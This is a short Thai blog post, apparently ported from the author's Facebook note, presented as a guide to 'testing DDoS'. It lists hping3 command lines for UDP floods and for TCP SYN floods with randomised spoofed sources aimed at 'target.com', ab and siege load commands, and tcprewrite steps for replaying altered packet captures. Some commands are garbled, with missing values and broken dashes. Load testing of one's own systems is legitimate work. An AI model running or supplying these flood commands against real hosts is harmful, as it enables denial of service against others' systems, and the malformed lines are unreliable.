วิธีการทดสอบ DDoS ด้วยเครื่องมือต่างๆ
จริงๆ post นี้เป็นการ port มาจาก Note ของผมใน Facebook เสียมากกว่า เนื่องด้วยความห่วยของการหาข้อมูลของ Facebook และการที่เราใช้ function ค้นหากับ Note ของเราไม่ได้ ดังนั้นผมเลยเลือกที่จะเอาข้อมูลเหล่านั้นมาใส่ในนี้แทนละกัน
ก็พล่ามไปเยอะแล้วมาเริ่มกันเลยละกัน
1. UDP Flood
1 2 3 4 |
hping3 --udp --flood -p hping3 --udp -d --flood -p hping3 --udp -c --rand-source -d --flood -p hping3 --udp -c 15000 --rand-source -d 15000 --flood -p 80 target.com |
2. TCP SYN Flood
1 2 3 |
hping3 -S -P -U --flood --rand-source target.com hping3 -S -L -w --flood -p 80 target.com hping3 -S -L 0 -w 64 --flood -p 80 target.com |
3. Apache Benchmarking หรือ Siege tool
1 2 3 |
ab -c -n ab -c 1000 -n 10000 http://target.com/ siege -b -c n -t 30s url |
4. การใช้ tcpreplay + แก้ไข
1 2 3 4 5 6 |
Generate cache file - tcpprep –auto=first –pcap=icmp.pcap –cachefile=icmp_in.cache Rewrite end points to 172.16.0.1/172.16.0.2 [ping 2->1, reply, 1->2] - tcprewrite –endpoints=172.16.0.1:172.16.0.2 -i out.pcap -o out2.pcap –cachefile=icmp_in.cache Rewrite macs too [ping (172.16.0.2)00:01:02:03:04:05 -> (172.16.0.1)06:07:08:09:10:11, reply: vice-versa] - tcprewrite –endpoints=172.16.0.1:172.16.0.2 –enet-smac=00:01:02:03:04:05,06:07:08:09:10:11 –enet-dmac=06:07:08:09:10:11,00:01:02:03:04:05 -i icmp.pcap -o out2_macs.pcap –cachefile=icmp_in.cache |
หากแก้ไข checksum โดยที่ใช้ -C ของ tcprewrite เพื่อทำการคำนวณ checksum ใหม่ ให้ใช้ pcapfix ในการแก้ไขแทนครับ
หรือหากอยากใช้บริการ cloud ก็เป็น https://loader.io/หรือ https://loadimpact.com/ ก็ได้ครับฃ
Source::
- https://gist.github.com/niranjan-nagaraju/4532037
- https://www.blazemeter.com/blog/open-source-load-testing-tools-which-one-should-you-use